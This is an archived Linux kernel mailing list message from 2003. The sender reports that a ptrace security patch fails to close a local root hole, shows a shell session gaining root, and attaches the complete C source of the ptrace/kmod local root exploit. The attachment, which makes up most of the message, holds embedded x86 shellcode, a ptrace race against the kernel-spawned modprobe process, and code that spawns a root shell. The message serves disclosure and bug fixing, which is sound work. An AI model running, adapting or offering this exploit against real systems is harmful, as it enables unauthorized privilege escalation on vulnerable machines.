public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
From: Adam Majer <adamm@galacticasoftware.com>
To: Bernhard Kaindl <bk@suse.de>
Cc: linux-kernel@vger.kernel.org, Marcelo Tosatti <marcelo@conectiva.com.br>
Subject: ptrace secfix does NOT work... :(
Date: Sat, 10 May 2003 15:52:49 -0500	[thread overview]
Message-ID: <20030510205249.GA1179@galacticasoftware.com> (raw)
In-Reply-To: <Pine.LNX.4.44.0305082310230.12720-200000@wotan.suse.de>

[-- Attachment #1: Type: text/plain, Size: 890 bytes --]

On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> Hello,
> 
> The attached patch cleans up the too restrictive checks which were
> included in the original ptrace/kmod secfix posted by Alan Cox
> and applies on top of a clean 2.4.20-rc1 source tree.

But the ptrace hole is _NOT_ fixed... :(

adamm@polaris:~/test$ uname -r
2.4.21-rc2
\u@\h:\w\$ ls -ltr hehe
-rw-------    1 root     root           17 May 10 15:44 hehe
\u@\h:\w\$ whoami
root
\u@\h:\w\$ cat hehe
I can see you!!
                                                                                                              
\u@\h:\w\$ rm hehh
\u@\h:\w\$ ls -ltr hehe
ls: hehe: No such file or directory

I'm attaching the exploit so someone can fix the bug properly.
I could get root even with the patched 2.4.20 so I don't think
that this is the fault of the your patch.

- Adam

[-- Attachment #2: test.c --]
[-- Type: text/x-csrc, Size: 4025 bytes --]

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
  perror(msg);
  kill(parent, SIGKILL);
  kill(child, SIGKILL);
  kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
  char buf[MAXPATHLEN + CODE_SIZE];
  unsigned long * src;
  int i, len;

  memcpy(buf, cliphcode, CODE_SIZE);
  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  if (len == -1)
    fatal("[-] Unable to read /proc/self/exe");

  len += CODE_SIZE + 1;
  buf[len] = '\0';
  
  src = (unsigned long*) buf;
  for (i = 0; i < len; i += 4)
    if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
      fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
  struct user_regs_struct regs;

  if (gotchild++ == 0)
    return;
  
  fprintf(stderr, "[+] Signal caught\n");

  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
    fatal("[-] Unable to read registers");
  
  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  
  putcode((unsigned long *)regs.eip);

  fprintf(stderr, "[+] Now wait for suid shell...\n");

  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
    fatal("[-] Unable to detach from victim");

  exit(0);
}

void sigalrm(int signo)
{
  errno = ECANCELED;
  fatal("[-] Fatal error");
}

void do_child(void)
{
  int err;

  child = getpid();
  victim = child + 1;

  signal(SIGCHLD, sigchld);

  do
    err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  while (err == -1 && errno == ESRCH);

  if (err == -1)
    fatal("[-] Unable to attach");

  fprintf(stderr, "[+] Attached to %d\n", victim);
  while (!gotchild) ;
  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
    fatal("[-] Unable to setup syscall trace");
  fprintf(stderr, "[+] Waiting for signal\n");

  for(;;);
}

void do_parent(char * progname)
{
  struct stat st;
  int err;
  errno = 0;
  socket(AF_SECURITY, SOCK_STREAM, 1);
  do {
    err = stat(progname, &st);
  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  
  if (err == -1)
    fatal("[-] Unable to stat myself");

  alarm(0);
  system(progname);
}

void prepare(void)
{
  if (geteuid() == 0) {
    initgroups("root", 0);
    setgid(0);
    setuid(0);
    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
    fatal("[-] Unable to spawn shell");
  }
}

int main(int argc, char ** argv)
{
  prepare();
  signal(SIGALRM, sigalrm);
  alarm(10);
  
  parent = getpid();
  child = fork();
  victim = child + 1;
  
  if (child == -1)
    fatal("[-] Unable to fork");

  if (child == 0)
    do_child();
  else
    do_parent(argv[0]);

  return 0;
}

  parent reply	other threads:[~2003-05-10 20:47 UTC|newest]

Thread overview: 8+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
2003-05-08 21:31 ` Alan Cox
2003-05-08 22:48   ` Alan Cox
2003-05-08 23:59   ` Bernhard Kaindl
2003-05-09  0:17     ` Bernhard Kaindl
2003-05-10 20:52 ` Adam Majer [this message]
2003-05-10 21:11   ` ptrace secfix does NOT work... :( Daniel Jacobowitz
2003-05-10 21:25     ` Adam Majer

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20030510205249.GA1179@galacticasoftware.com \
    --to=adamm@galacticasoftware.com \
    --cc=bk@suse.de \
    --cc=linux-kernel@vger.kernel.org \
    --cc=marcelo@conectiva.com.br \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox